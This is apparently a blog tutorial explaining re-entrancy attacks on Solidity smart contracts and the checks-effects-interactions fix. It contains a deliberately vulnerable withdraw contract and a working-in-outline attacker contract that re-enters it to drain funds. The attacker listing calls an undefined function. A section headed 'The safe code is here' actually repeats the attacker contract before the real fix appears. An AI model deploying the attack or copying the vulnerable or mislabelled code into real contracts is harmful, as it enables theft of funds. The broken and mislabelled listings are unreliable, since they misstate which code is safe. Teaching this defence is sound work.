Checks, Effects, Interactions

Published by Mario Oettler on

Another very important pattern you should know is the checks-effects-interactions pattern. The reason for this is known as re-entrancy attack.

The Problem

Let’s have a look at this code.

pragma solidity 0.8.20;


contract reentrancyVictim{
    mapping(address => uint256) public balances;
    uint256 public contractBalance;
    
    function payIn() public payable{
        balances[msg.sender] += msg.value; 
    }
    
    function withdraw() public payable{
        require(balances[msg.sender] > 0, "Insufficiant balance");
        payable(msg.sender).call{value: balances[msg.sender]}("");
        balances[msg.sender] = 0;
    }
    
    function updateContractBalance() public{
        contractBalance = address(this).balance;
    }
}

At first glance, the code looks all right. In line 13, we check if the user has sufficient funds. Then we send the funds to the user. And in line 15, we adjust his balance.

However, the problem is that a malicious user could use a smart contract as receiver and call the withdraw function again. The following flow chart shows the control flow.

First, the attacker calls the function withdrawAttack(). It first checks if to proceed with the attack or not. The attacker has here the opportunity to end the attack if he deems that he would run out of gas. If the attacker decides to continue, it calls the withdraw function in the victim’s contract. First, it checks if the attacker has sufficient balance to withdraw. Then it sends the funds to the attacker. At that point, the control flow is returned to the attacker. Internally, the receive() function is called. The receive() function then calls the withdrawAttack() function again and the circle starts from the beginning.

The problem here is that the balance is not adjusted until the attacker decides to stop the attack. If the attacker decides to stop the attack, the control flow goes back to the victim. The contract proceeds with adjusting the balance and finally ends the withdraw function.

The attacker’s code is here.

pragma solidity 0.8.20;


contract reentrancyAttack{
    
    address public victim;
    uint256 public contractBalance;
    uint256 public amount;
    uint256 public counter;
    
    constructor(address _victim) payable{
        victim = _victim;
        amount = msg.value;
    }
    
    receive() external payable{
        counter++;
        attack();
    }
    
    function payIn() public returns (bool success){
        (bool success, bytes memory data) = payable(victim).call{value: amount}(abi.encodeWithSignature("payIn()"));
    }
    
    function withdrawAttack() public{
        if(counter < 4){
            payable(victim).call(abi.encodeWithSignature("withdraw()"));
        }
    }
    
    function updateContractBalance() public{
        contractBalance = address(this).balance;
    }
}

The Solution

The solution is a programming pattern called checks, effects, interaction. If a function starts, it first checks whether the user is entitled to receive the funds. If the result is positive, the balance is adjusted, and in the last step the funds are sent to the user.

The exact code depends on the exact purpose, but a sample code is here.

The safe code is here:

pragma solidity 0.8.20;


contract reentrancyAttack{
    
    address public victim;
    uint256 public contractBalance;
    uint256 public amount;
    uint256 public counter = 0;
    
    constructor(address _victim) payable{
        victim = _victim;
        amount = msg.value;
    }
    
    receive() external payable{
	        counter++;
            withdrawAttack();
    }
    
    function payIn() public returns (bool success){
        (bool success, bytes memory data) = payable(victim).call{value: amount}(abi.encodeWithSignature("payIn()"));
    }
    
    function withdrawAttack() public{
        if(counter < 4){
            payable(victim).call(abi.encodeWithSignature("withdraw()"));
        }
    }
    
    function updateContractBalance() public{
        contractBalance = address(this).balance;
    }
}

The re-entrancy safe code looks like that.

pragma solidity 0.8.20;


contract reentrancsSafe{
    
    mapping(address => uint256) public balances;
    uint256 public contractBalance;
    
    function payIn() public payable{
        balances[msg.sender] += msg.value; 
    }
    
    function withdraw() public payable{
        
        // check
        require(balances[msg.sender] > 0, "Insufficiant balance");
        
        // effect
        uint256 payBalance = balances[msg.sender];
        balances[msg.sender] = 0;
        
        // interaction
        (bool success, bytes memory data) = payable(msg.sender).call{value: payBalance}("");
        if(!success){ // catch the case where the send was unsuccesful
            balances[msg.sender] = payBalance;
        }
    }
    
    function updateContractBalance() public{
        contractBalance = address(this).balance;
    }
}

In line 16, we perform the check. In line 19, we copy the balance to a helper variable, and in line 20, we set the balance of this user to 0.

In line 23, we start the interaction. If the attacker now tries to re-enter, the balance is already 0, and the function reverts.

We also have to take care of the case that something goes wrong on the receiver side. In this case, we have to set back the balance to the original value. We do this in lines 24-26.

Categories:

if()